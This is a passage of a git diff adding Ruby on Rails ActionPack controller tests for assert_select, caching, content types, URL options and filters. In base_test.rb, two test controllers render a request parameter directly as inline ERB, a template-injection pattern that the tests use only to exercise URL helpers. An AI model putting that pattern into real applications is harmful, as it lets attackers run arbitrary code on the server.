+ render_html %Q{<link xlink:href="http://nowhere.com"></link>}
+ assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
+ end
+
+ #
+ # Test css_select.
+ #
+
+ def test_css_select
+ render_html %Q{<div id="1"></div><div id="2"></div>}
+ assert_equal 2, css_select("div").size
+ assert_equal 0, css_select("p").size
+ end
+
+ def test_nested_css_select
+ render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+ assert_select "div#?", /\d+/ do |elements|
+ assert_equal 1, css_select(elements[0], "div").size
+ assert_equal 1, css_select(elements[1], "div").size
+ end
+ assert_select "div" do
+ assert_equal 2, css_select("div").size
+ css_select("div").each do |element|
+ # Testing as a group is one thing
+ assert !css_select("#1,#2").empty?
+ # Testing individually is another
+ assert !css_select("#1").empty?
+ assert !css_select("#2").empty?
+ end
+ end
+ end
+
+ def test_feed_item_encoded
+ render_xml <<-EOF
+<rss version="2.0">
+ <channel>
+ <item>
+ <description>
+ <![CDATA[
+ <p>Test 1</p>
+ ]]>
+ </description>
+ </item>
+ <item>
+ <description>
+ <![CDATA[
+ <p>Test 2</p>
+ ]]>
+ </description>
+ </item>
+ </channel>
+</rss>
+EOF
+ assert_select "channel item description" do
+ # Test element regardless of wrapper.
+ assert_select_encoded do
+ assert_select "p", :count=>2, :text=>/Test/
+ end
+ # Test through encoded wrapper.
+ assert_select_encoded do
+ assert_select "encoded p", :count=>2, :text=>/Test/
+ end
+ # Use :root instead (recommended)
+ assert_select_encoded do
+ assert_select ":root p", :count=>2, :text=>/Test/
+ end
+ # Test individually.
+ assert_select "description" do |elements|
+ assert_select_encoded elements[0] do
+ assert_select "p", "Test 1"
+ end
+ assert_select_encoded elements[1] do
+ assert_select "p", "Test 2"
+ end
+ end
+ end
+
+ # Test that we only un-encode element itself.
+ assert_select "channel item" do
+ assert_select_encoded do
+ assert_select "p", 0
+ end
+ end
+ end
+
+ #
+ # Test assert_select_email
+ #
+
+ def test_assert_select_email
+ assert_raise(Assertion) { assert_select_email {} }
+ AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver
+ assert_select_email do
+ assert_select "div:root" do
+ assert_select "p:first-child", "foo"
+ assert_select "p:last-child", "bar"
+ end
+ end
+ end
+
+ def test_assert_select_email_multipart
+ AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver
+ assert_select_email do
+ assert_select "div:root" do
+ assert_select "p:first-child", "foo"
+ assert_select "p:last-child", "bar"
+ end
+ end
+ end
+
+ protected
+ def render_html(html)
+ @controller.response_with = html
+ get :html
+ end
+
+ def render_xml(xml)
+ @controller.response_with = xml
+ get :xml
+ end
+end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
new file mode 100644
index 0000000..d4f18d5
--- /dev/null
+++ b/actionpack/test/controller/base_test.rb
@@ -0,0 +1,328 @@
+require 'abstract_unit'
+require 'active_support/logger'
+require 'controller/fake_models'
+require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+# Provide some controller to run the tests on.
+module Submodule
+ class ContainedEmptyController < ActionController::Base
+ end
+
+ class ContainedNonEmptyController < ActionController::Base
+ def public_action
+ render :nothing => true
+ end
+
+ hide_action :hidden_action
+ def hidden_action
+ raise "Noooo!"
+ end
+
+ def another_hidden_action
+ end
+ hide_action :another_hidden_action
+ end
+
+ class SubclassedController < ContainedNonEmptyController
+ hide_action :public_action # Hiding it here should not affect the superclass.
+ end
+end
+
+class EmptyController < ActionController::Base
+end
+
+class NonEmptyController < ActionController::Base
+ def public_action
+ render :nothing => true
+ end
+
+ hide_action :hidden_action
+ def hidden_action
+ end
+end
+
+class DefaultUrlOptionsController < ActionController::Base
+ def from_view
+ render :inline => "<%= #{params[:route]} %>"
+ end
+
+ def default_url_options
+ { :host => 'www.override.com', :action => 'new', :locale => 'en' }
+ end
+end
+
+class UrlOptionsController < ActionController::Base
+ def from_view
+ render :inline => "<%= #{params[:route]} %>"
+ end
+
+ def url_options
+ super.merge(:host => 'www.override.com')
+ end
+end
+
+class RecordIdentifierController < ActionController::Base
+end
+
+class RecordIdentifierWithoutDeprecationController < ActionController::Base
+ include ActionView::RecordIdentifier
+end
+
+class ActionMissingController < ActionController::Base
+ def action_missing(action)
+ render :text => "Response for #{action}"
+ end
+end
+
+class ControllerClassTests < ActiveSupport::TestCase
+
+ def test_controller_path
+ assert_equal 'empty', EmptyController.controller_path
+ assert_equal EmptyController.controller_path, EmptyController.new.controller_path
+ assert_equal 'submodule/contained_empty', Submodule::ContainedEmptyController.controller_path
+ assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
+ end
+
+ def test_controller_name
+ assert_equal 'empty', EmptyController.controller_name
+ assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
+ end
+
+ def test_record_identifier
+ assert_respond_to RecordIdentifierController.new, :dom_id
+ assert_respond_to RecordIdentifierController.new, :dom_class
+ end
+
+ def test_record_identifier_is_deprecated
+ record = Comment.new
+ record.save
+
+ dom_id = nil
+ assert_deprecated 'dom_id method will no longer' do
+ dom_id = RecordIdentifierController.new.dom_id(record)
+ end
+
+ assert_equal 'comment_1', dom_id
+
+ dom_class = nil
+ assert_deprecated 'dom_class method will no longer' do
+ dom_class = RecordIdentifierController.new.dom_class(record)
+ end
+ assert_equal 'comment', dom_class
+ end
+
+ def test_no_deprecation_when_action_view_record_identifier_is_included
+ record = Comment.new
+ record.save
+
+ dom_id = nil
+ assert_not_deprecated do
+ dom_id = RecordIdentifierWithoutDeprecationController.new.dom_id(record)
+ end
+
+ assert_equal 'comment_1', dom_id
+
+ dom_class = nil
+ assert_not_deprecated do
+ dom_class = RecordIdentifierWithoutDeprecationController.new.dom_class(record)
+ end
+ assert_equal 'comment', dom_class
+ end
+end
+
+class ControllerInstanceTests < ActiveSupport::TestCase
+ def setup
+ @empty = EmptyController.new
+ @contained = Submodule::ContainedEmptyController.new
+ @empty_controllers = [@empty, @contained, Submodule::SubclassedController.new]
+
+ @non_empty_controllers = [NonEmptyController.new,
+ Submodule::ContainedNonEmptyController.new]
+ end
+
+ def test_performed?
+ assert !@empty.performed?
+ @empty.response_body = ["sweet"]
+ assert @empty.performed?
+ end
+
+ def test_action_methods
+ @empty_controllers.each do |c|
+ assert_equal Set.new, c.class.action_methods, "#{c.controller_path} should be empty!"
+ end
+
+ @non_empty_controllers.each do |c|
+ assert_equal Set.new(%w(public_action)), c.class.action_methods, "#{c.controller_path} should not be empty!"
+ end
+ end
+
+ def test_temporary_anonymous_controllers
+ name = 'ExamplesController'
+ klass = Class.new(ActionController::Base)
+ Object.const_set(name, klass)
+
+ controller = klass.new
+ assert_equal "examples", controller.controller_path
+ end
+end
+
+class PerformActionTest < ActionController::TestCase
+ def use_controller(controller_class)
+ @controller = controller_class.new
+
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ @controller.logger = ActiveSupport::Logger.new(nil)
+
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_process_should_be_precise
+ use_controller EmptyController
+ exception = assert_raise AbstractController::ActionNotFound do
+ get :non_existent
+ end
+ assert_equal exception.message, "The action 'non_existent' could not be found for EmptyController"
+ end
+
+ def test_get_on_hidden_should_fail
+ use_controller NonEmptyController
+ assert_raise(AbstractController::ActionNotFound) { get :hidden_action }
+ assert_raise(AbstractController::ActionNotFound) { get :another_hidden_action }
+ end
+
+ def test_action_missing_should_work
+ use_controller ActionMissingController
+ get :arbitrary_action
+ assert_equal "Response for arbitrary_action", @response.body
+ end
+end
+
+class UrlOptionsTest < ActionController::TestCase
+ tests UrlOptionsController
+
+ def setup
+ super
+ @request.host = 'www.example.com'
+ end
+
+ def test_url_for_query_params_included
+ rs = ActionDispatch::Routing::RouteSet.new
+ rs.draw do
+ get 'home' => 'pages#home'
+ end
+
+ options = {
+ :action => "home",
+ :controller => "pages",
+ :only_path => true,
+ :params => { "token" => "secret" }
+ }
+
+ assert_equal '/home?token=secret', rs.url_for(options)
+ end
+
+ def test_url_options_override
+ with_routing do |set|
+ set.draw do
+ get 'from_view', :to => 'url_options#from_view', :as => :from_view
+ get ':controller/:action'
+ end
+
+ get :from_view, :route => "from_view_url"
+
+ assert_equal 'http://www.override.com/from_view', @response.body
+ assert_equal 'http://www.override.com/from_view', @controller.send(:from_view_url)
+ assert_equal 'http://www.override.com/default_url_options/index', @controller.url_for(:controller => 'default_url_options')
+ end
+ end
+
+ def test_url_helpers_does_not_become_actions
+ with_routing do |set|
+ set.draw do
+ get "account/overview"
+ end
+
+ assert !@controller.class.action_methods.include?("account_overview_path")
+ end
+ end
+end
+
+class DefaultUrlOptionsTest < ActionController::TestCase
+ tests DefaultUrlOptionsController
+
+ def setup
+ super
+ @request.host = 'www.example.com'
+ end
+
+ def test_default_url_options_override
+ with_routing do |set|
+ set.draw do
+ get 'from_view', :to => 'default_url_options#from_view', :as => :from_view
+ get ':controller/:action'
+ end
+
+ get :from_view, :route => "from_view_url"
+
+ assert_equal 'http://www.override.com/from_view?locale=en', @response.body
+ assert_equal 'http://www.override.com/from_view?locale=en', @controller.send(:from_view_url)
+ assert_equal 'http://www.override.com/default_url_options/new?locale=en', @controller.url_for(:controller => 'default_url_options')
+ end
+ end
+
+ def test_default_url_options_are_used_in_non_positional_parameters
+ with_routing do |set|
+ set.draw do
+ scope("/:locale") do
+ resources :descriptions
+ end
+ get ':controller/:action'
+ end
+
+ get :from_view, :route => "description_path(1)"
+
+ assert_equal '/en/descriptions/1', @response.body
+ assert_equal '/en/descriptions', @controller.send(:descriptions_path)
+ assert_equal '/pl/descriptions', @controller.send(:descriptions_path, "pl")
+ assert_equal '/pl/descriptions', @controller.send(:descriptions_path, :locale => "pl")
+ assert_equal '/pl/descriptions.xml', @controller.send(:descriptions_path, "pl", "xml")
+ assert_equal '/en/descriptions.xml', @controller.send(:descriptions_path, :format => "xml")
+ assert_equal '/en/descriptions/1', @controller.send(:description_path, 1)
+ assert_equal '/pl/descriptions/1', @controller.send(:description_path, "pl", 1)
+ assert_equal '/pl/descriptions/1', @controller.send(:description_path, 1, :locale => "pl")
+ assert_equal '/pl/descriptions/1.xml', @controller.send(:description_path, "pl", 1, "xml")
+ assert_equal '/en/descriptions/1.xml', @controller.send(:description_path, 1, :format => "xml")
+ end
+ end
+
+end
+
+class EmptyUrlOptionsTest < ActionController::TestCase
+ tests NonEmptyController
+
+ def setup
+ super
+ @request.host = 'www.example.com'
+ end
+
+ def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
+ get :public_action
+ assert_equal "http://www.example.com/non_empty/public_action", @controller.url_for
+ end
+
+ def test_named_routes_with_path_without_doing_a_request_first
+ @controller = EmptyController.new
+ @controller.request = @request
+
+ with_routing do |set|
+ set.draw do
+ resources :things
+ end
+
+ assert_equal '/things', @controller.send(:things_path)
+ end
+ end
+end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
new file mode 100644
index 0000000..ca86837
--- /dev/null
+++ b/actionpack/test/controller/caching_test.rb
@@ -0,0 +1,330 @@
+require 'fileutils'
+require 'abstract_unit'
+require 'active_record_unit'
+
+CACHE_DIR = 'test_cache'
+# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
+FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
+
+class FragmentCachingMetalTestController < ActionController::Metal
+ abstract!
+
+ include ActionController::Caching
+
+ def some_action; end
+end
+
+class FragmentCachingMetalTest < ActionController::TestCase
+ def setup
+ super
+ @store = ActiveSupport::Cache::MemoryStore.new
+ @controller = FragmentCachingMetalTestController.new
+ @controller.perform_caching = true
+ @controller.cache_store = @store
+ @params = { controller: 'posts', action: 'index'}
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @controller.params = @params
+ @controller.request = @request
+ @controller.response = @response
+ end
+
+ def test_fragment_cache_key
+ assert_equal 'views/what a key', @controller.fragment_cache_key('what a key')
+ end
+end
+
+class CachingController < ActionController::Base
+ abstract!
+
+ self.cache_store = :file_store, FILE_STORE_PATH
+end
+
+class FragmentCachingTestController < CachingController
+ def some_action; end;
+end
+
+class FragmentCachingTest < ActionController::TestCase
+ def setup
+ super
+ @store = ActiveSupport::Cache::MemoryStore.new
+ @controller = FragmentCachingTestController.new
+ @controller.perform_caching = true
+ @controller.cache_store = @store
+ @params = {:controller => 'posts', :action => 'index'}
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @controller.params = @params
+ @controller.request = @request
+ @controller.response = @response
+ end
+
+ def test_fragment_cache_key
+ assert_equal 'views/what a key', @controller.fragment_cache_key('what a key')
+ assert_equal "views/test.host/fragment_caching_test/some_action",
+ @controller.fragment_cache_key(:controller => 'fragment_caching_test',:action => 'some_action')
+ end
+
+ def test_read_fragment_with_caching_enabled
+ @store.write('views/name', 'value')
+ assert_equal 'value', @controller.read_fragment('name')
+ end
+
+ def test_read_fragment_with_caching_disabled
+ @controller.perform_caching = false
+ @store.write('views/name', 'value')
+ assert_nil @controller.read_fragment('name')
+ end
+
+ def test_fragment_exist_with_caching_enabled
+ @store.write('views/name', 'value')
+ assert @controller.fragment_exist?('name')
+ assert !@controller.fragment_exist?('other_name')
+ end
+
+ def test_fragment_exist_with_caching_disabled
+ @controller.perform_caching = false
+ @store.write('views/name', 'value')
+ assert !@controller.fragment_exist?('name')
+ assert !@controller.fragment_exist?('other_name')
+ end
+
+ def test_write_fragment_with_caching_enabled
+ assert_nil @store.read('views/name')
+ assert_equal 'value', @controller.write_fragment('name', 'value')
+ assert_equal 'value', @store.read('views/name')
+ end
+
+ def test_write_fragment_with_caching_disabled
+ assert_nil @store.read('views/name')
+ @controller.perform_caching = false
+ assert_equal 'value', @controller.write_fragment('name', 'value')
+ assert_nil @store.read('views/name')
+ end
+
+ def test_expire_fragment_with_simple_key
+ @store.write('views/name', 'value')
+ @controller.expire_fragment 'name'
+ assert_nil @store.read('views/name')
+ end
+
+ def test_expire_fragment_with_regexp
+ @store.write('views/name', 'value')
+ @store.write('views/another_name', 'another_value')
+ @store.write('views/primalgrasp', 'will not expire ;-)')
+
+ @controller.expire_fragment(/name/)
+
+ assert_nil @store.read('views/name')
+ assert_nil @store.read('views/another_name')
+ assert_equal 'will not expire ;-)', @store.read('views/primalgrasp')
+ end
+
+ def test_fragment_for
+ @store.write('views/expensive', 'fragment content')
+ fragment_computed = false
+
+ view_context = @controller.view_context
+
+ buffer = 'generated till now -> '.html_safe
+ buffer << view_context.send(:fragment_for, 'expensive') { fragment_computed = true }
+
+ assert !fragment_computed
+ assert_equal 'generated till now -> fragment content', buffer
+ end
+
+ def test_html_safety
+ assert_nil @store.read('views/name')
+ content = 'value'.html_safe
+ assert_equal content, @controller.write_fragment('name', content)
+
+ cached = @store.read('views/name')
+ assert_equal content, cached
+ assert_equal String, cached.class
+
+ html_safe = @controller.read_fragment('name')
+ assert_equal content, html_safe
+ assert html_safe.html_safe?
+ end
+end
+
+class FunctionalCachingController < CachingController
+ def fragment_cached
+ end
+
+ def html_fragment_cached_with_partial
+ respond_to do |format|
+ format.html
+ end
+ end
+
+ def formatted_fragment_cached
+ respond_to do |format|
+ format.html
+ format.xml
+ end
+ end
+
+ def fragment_cached_without_digest
+ end
+end
+
+class FunctionalFragmentCachingTest < ActionController::TestCase
+ def setup
+ super
+ @store = ActiveSupport::Cache::MemoryStore.new
+ @controller = FunctionalCachingController.new
+ @controller.perform_caching = true
+ @controller.cache_store = @store
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ end
+
+ def test_fragment_caching
+ get :fragment_cached
+ assert_response :success
+ expected_body = <<-CACHED
+Hello
+This bit's fragment cached
+Ciao
+CACHED
+ assert_equal expected_body, @response.body
+
+ assert_equal "This bit's fragment cached",
+ @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
+ end
+
+ def test_fragment_caching_in_partials
+ get :html_fragment_cached_with_partial
+ assert_response :success
+ assert_match(/Old fragment caching in a partial/, @response.body)
+
+ assert_match("Old fragment caching in a partial",
+ @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
+ end
+
+ def test_skipping_fragment_cache_digesting
+ get :fragment_cached_without_digest, :format => "html"
+ assert_response :success
+ expected_body = "<body>\n<p>ERB</p>\n</body>\n"
+
+ assert_equal expected_body, @response.body
+ assert_equal "<p>ERB</p>", @store.read("views/nodigest")
+ end
+
+ def test_render_inline_before_fragment_caching
+ get :inline_fragment_cached
+ assert_response :success
+ assert_match(/Some inline content/, @response.body)
+ assert_match(/Some cached content/, @response.body)
+ assert_match("Some cached content",
+ @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
+ end
+
+ def test_html_formatted_fragment_caching
+ get :formatted_fragment_cached, :format => "html"
+ assert_response :success
+ expected_body = "<body>\n<p>ERB</p>\n</body>\n"
+
+ assert_equal expected_body, @response.body
+
+ assert_equal "<p>ERB</p>",
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
+ end
+
+ def test_xml_formatted_fragment_caching
+ get :formatted_fragment_cached, :format => "xml"
+ assert_response :success
+ expected_body = "<body>\n <p>Builder</p>\n</body>\n"
+
+ assert_equal expected_body, @response.body
+
+ assert_equal " <p>Builder</p>\n",
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
+ end
+
+ private
+ def template_digest(name, format)
+ ActionView::Digestor.digest(name, format, @controller.lookup_context)
+ end
+end
+
+class CacheHelperOutputBufferTest < ActionController::TestCase
+
+ class MockController
+ def read_fragment(name, options)
+ return false
+ end
+
+ def write_fragment(name, fragment, options)
+ fragment
+ end
+ end
+
+ def setup
+ super
+ end
+
+ def test_output_buffer
+ output_buffer = ActionView::OutputBuffer.new
+ controller = MockController.new
+ cache_helper = Object.new
+ cache_helper.extend(ActionView::Helpers::CacheHelper)
+ cache_helper.expects(:controller).returns(controller).at_least(0)
+ cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0)
+ # if the output_buffer is changed, the new one should be html_safe and of the same type
+ cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0)
+
+ assert_nothing_raised do
+ cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil }
+ end
+ end
+
+ def test_safe_buffer
+ output_buffer = ActiveSupport::SafeBuffer.new
+ controller = MockController.new
+ cache_helper = Object.new
+ cache_helper.extend(ActionView::Helpers::CacheHelper)
+ cache_helper.expects(:controller).returns(controller).at_least(0)
+ cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0)
+ # if the output_buffer is changed, the new one should be html_safe and of the same type
+ cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0)
+
+ assert_nothing_raised do
+ cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil }
+ end
+ end
+end
+
+class ViewCacheDependencyTest < ActionController::TestCase
+ class NoDependenciesController < ActionController::Base
+ end
+
+ class HasDependenciesController < ActionController::Base
+ view_cache_dependency { "trombone" }
+ view_cache_dependency { "flute" }
+ end
+
+ def test_view_cache_dependencies_are_empty_by_default
+ assert NoDependenciesController.new.view_cache_dependencies.empty?
+ end
+
+ def test_view_cache_dependencies_are_listed_in_declaration_order
+ assert_equal %w(trombone flute), HasDependenciesController.new.view_cache_dependencies
+ end
+end
+
+class DeprecatedPageCacheExtensionTest < ActiveSupport::TestCase
+ def test_page_cache_extension_binds_default_static_extension
+ deprecation_behavior = ActiveSupport::Deprecation.behavior
+ ActiveSupport::Deprecation.behavior = :silence
+ old_extension = ActionController::Base.default_static_extension
+
+ ActionController::Base.page_cache_extension = '.rss'
+
+ assert_equal '.rss', ActionController::Base.default_static_extension
+ ensure
+ ActiveSupport::Deprecation.behavior = deprecation_behavior
+ ActionController::Base.default_static_extension = old_extension
+ end
+end
diff --git a/actionpack/test/controller/capture_test.rb b/actionpack/test/controller/capture_test.rb
new file mode 100644
index 0000000..7226315
--- /dev/null
+++ b/actionpack/test/controller/capture_test.rb
@@ -0,0 +1,79 @@
+require 'abstract_unit'
+require 'active_support/logger'
+
+class CaptureController < ActionController::Base
+ def self.controller_name; "test"; end
+ def self.controller_path; "test"; end
+
+ def content_for
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def content_for_with_parameter
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def content_for_concatenated
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def non_erb_block_content_for
+ @title = nil
+ render :layout => "talk_from_action"
+ end
+
+ def proper_block_detection
+ @todo = "some todo"
+ end
+end
+
+class CaptureTest < ActionController::TestCase
+ tests CaptureController
+
+ def setup
+ super
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ @controller.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_simple_capture
+ get :capturing
+ assert_equal "Dreamy days", @response.body.strip
+ end
+
+ def test_content_for
+ get :content_for
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_should_concatentate_content_for
+ get :content_for_concatenated
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_should_set_content_for_with_parameter
+ get :content_for_with_parameter
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_non_erb_block_content_for
+ get :non_erb_block_content_for
+ assert_equal expected_content_for_output, @response.body
+ end
+
+ def test_proper_block_detection
+ get :proper_block_detection
+ assert_equal "some todo", @response.body
+ end
+
+ private
+ def expected_content_for_output
+ "<title>Putting stuff in the title!</title>\nGreat stuff!"
+ end
+end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
new file mode 100644
index 0000000..03d5d27
--- /dev/null
+++ b/actionpack/test/controller/content_type_test.rb
@@ -0,0 +1,159 @@
+require 'abstract_unit'
+
+class OldContentTypeController < ActionController::Base
+ # :ported:
+ def render_content_type_from_body
+ response.content_type = Mime::RSS
+ render :text => "hello world!"
+ end
+
+ # :ported:
+ def render_defaults
+ render :text => "hello world!"
+ end
+
+ # :ported:
+ def render_content_type_from_render
+ render :text => "hello world!", :content_type => Mime::RSS
+ end
+
+ # :ported:
+ def render_charset_from_body
+ response.charset = "utf-16"
+ render :text => "hello world!"
+ end
+
+ # :ported:
+ def render_nil_charset_from_body
+ response.charset = nil
+ render :text => "hello world!"
+ end
+
+ def render_default_for_erb
+ end
+
+ def render_default_for_builder
+ end
+
+ def render_change_for_builder
+ response.content_type = Mime::HTML
+ render :action => "render_default_for_builder"
+ end
+
+ def render_default_content_types_for_respond_to
+ respond_to do |format|
+ format.html { render :text => "hello world!" }
+ format.xml { render :action => "render_default_content_types_for_respond_to" }
+ format.js { render :text => "hello world!" }
+ format.rss { render :text => "hello world!", :content_type => Mime::XML }
+ end
+ end
+end
+
+class ContentTypeTest < ActionController::TestCase
+ tests OldContentTypeController
+
+ def setup
+ super
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ @controller.logger = ActiveSupport::Logger.new(nil)
+ end
+
+ # :ported:
+ def test_render_defaults
+ get :render_defaults
+ assert_equal "utf-8", @response.charset
+ assert_equal Mime::HTML, @response.content_type
+ end
+
+ def test_render_changed_charset_default
+ ActionDispatch::Response.default_charset = "utf-16"
+ get :render_defaults
+ assert_equal "utf-16", @response.charset
+ assert_equal Mime::HTML, @response.content_type
+ ensure
+ ActionDispatch::Response.default_charset = "utf-8"
+ end
+
+ # :ported:
+ def test_content_type_from_body
+ get :render_content_type_from_body
+ assert_equal Mime::RSS, @response.content_type
+ assert_equal "utf-8", @response.charset
+ end
+
+ # :ported:
+ def test_content_type_from_render
+ get :render_content_type_from_render
+ assert_equal Mime::RSS, @response.content_type
+ assert_equal "utf-8", @response.charset
+ end
+
+ # :ported:
+ def test_charset_from_body
+ get :render_charset_from_body
+ assert_equal Mime::HTML, @response.content_type
+ assert_equal "utf-16", @response.charset
+ end
+
+ # :ported:
+ def test_nil_charset_from_body
+ get :render_nil_charset_from_body
+ assert_equal Mime::HTML, @response.content_type
+ assert_equal "utf-8", @response.charset, @response.headers.inspect
+ end
+
+ def test_nil_default_for_erb
+ ActionDispatch::Response.default_charset = nil
+ get :render_default_for_erb
+ assert_equal Mime::HTML, @response.content_type
+ assert_nil @response.charset, @response.headers.inspect
+ ensure
+ ActionDispatch::Response.default_charset = "utf-8"
+ end
+
+ def test_default_for_erb
+ get :render_default_for_erb
+ assert_equal Mime::HTML, @response.content_type
+ assert_equal "utf-8", @response.charset
+ end
+
+ def test_default_for_builder
+ get :render_default_for_builder
+ assert_equal Mime::XML, @response.content_type
+ assert_equal "utf-8", @response.charset
+ end
+
+ def test_change_for_builder
+ get :render_change_for_builder
+ assert_equal Mime::HTML, @response.content_type
+ assert_equal "utf-8", @response.charset
+ end
+end
+
+class AcceptBasedContentTypeTest < ActionController::TestCase
+ tests OldContentTypeController
+
+ def test_render_default_content_types_for_respond_to
+ @request.accept = Mime::HTML.to_s
+ get :render_default_content_types_for_respond_to
+ assert_equal Mime::HTML, @response.content_type
+
+ @request.accept = Mime::JS.to_s
+ get :render_default_content_types_for_respond_to
+ assert_equal Mime::JS, @response.content_type
+ end
+
+ def test_render_default_content_types_for_respond_to_with_template
+ @request.accept = Mime::XML.to_s
+ get :render_default_content_types_for_respond_to
+ assert_equal Mime::XML, @response.content_type
+ end
+
+ def test_render_default_content_types_for_respond_to_with_overwrite
+ @request.accept = Mime::RSS.to_s
+ get :render_default_content_types_for_respond_to
+ assert_equal Mime::XML, @response.content_type
+ end
+end
diff --git a/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb b/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb b/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb b/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/controller/default_url_options_with_before_action_test.rb b/actionpack/test/controller/default_url_options_with_before_action_test.rb
new file mode 100644
index 0000000..656fd04
--- /dev/null
+++ b/actionpack/test/controller/default_url_options_with_before_action_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+
+
+class ControllerWithBeforeActionAndDefaultUrlOptions < ActionController::Base
+
+ before_action { I18n.locale = params[:locale] }
+ after_action { I18n.locale = "en" }
+
+ def target
+ render :text => "final response"
+ end
+
+ def redirect
+ redirect_to :action => "target"
+ end
+
+ def default_url_options
+ {:locale => "de"}
+ end
+end
+
+class ControllerWithBeforeActionAndDefaultUrlOptionsTest < ActionController::TestCase
+
+ # This test has its roots in issue #1872
+ test "should redirect with correct locale :de" do
+ get :redirect, :locale => "de"
+ assert_redirected_to "/controller_with_before_action_and_default_url_options/target?locale=de"
+ end
+end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
new file mode 100644
index 0000000..3b79161
--- /dev/null
+++ b/actionpack/test/controller/filters_test.rb
@@ -0,0 +1,1020 @@
+require 'abstract_unit'
+
+class ActionController::Base
+ class << self
+ %w(append_around_filter prepend_after_filter prepend_around_filter prepend_before_filter skip_after_filter skip_before_filter skip_filter).each do |pending|
+ define_method(pending) do |*args|
+ $stderr.puts "#{pending} unimplemented: #{args.inspect}"
+ end unless method_defined?(pending)
+ end
+
+ def before_filters
+ filters = _process_action_callbacks.select { |c| c.kind == :before }
+ filters.map! { |c| c.instance_variable_get(:@raw_filter) }
+ end
+ end
+
+ def assigns(key = nil)
+ assigns = {}
+ instance_variables.each do |ivar|
+ next if ActionController::Base.protected_instance_variables.include?(ivar)
+ assigns[ivar[1..-1]] = instance_variable_get(ivar)
+ end
+
+ key.nil? ? assigns : assigns[key.to_s]
+ end
+end
+
+class FilterTest < ActionController::TestCase
+
+ class TestController < ActionController::Base
+ before_filter :ensure_login
+ after_filter :clean_up
+
+ def show
+ render :inline => "ran action"
+ end
+
+ private
+ def ensure_login
+ @ran_filter ||= []
+ @ran_filter << "ensure_login"
+ end
+
+ def clean_up
+ @ran_after_filter ||= []
+ @ran_after_filter << "clean_up"
+ end
+ end
+
+ class ChangingTheRequirementsController < TestController
+ before_filter :ensure_login, :except => [:go_wild]
+
+ def go_wild
+ render :text => "gobble"
+ end
+ end
+
+ class TestMultipleFiltersController < ActionController::Base
+ before_filter :try_1
+ before_filter :try_2
+ before_filter :try_3
+
+ (1..3).each do |i|
+ define_method "fail_#{i}" do
+ render :text => i.to_s
+ end
+ end
+
+ protected
+ (1..3).each do |i|
+ define_method "try_#{i}" do
+ instance_variable_set :@try, i
+ if action_name == "fail_#{i}"
+ head(404)
+ end
+ end
+ end
+ end
+
+ class RenderingController < ActionController::Base
+ before_filter :before_filter_rendering
+ after_filter :unreached_after_filter
+
+ def show
+ @ran_action = true
+ render :inline => "ran action"
+ end
+
+ private
+ def before_filter_rendering
+ @ran_filter ||= []
+ @ran_filter << "before_filter_rendering"
+ render :inline => "something else"
+ end
+
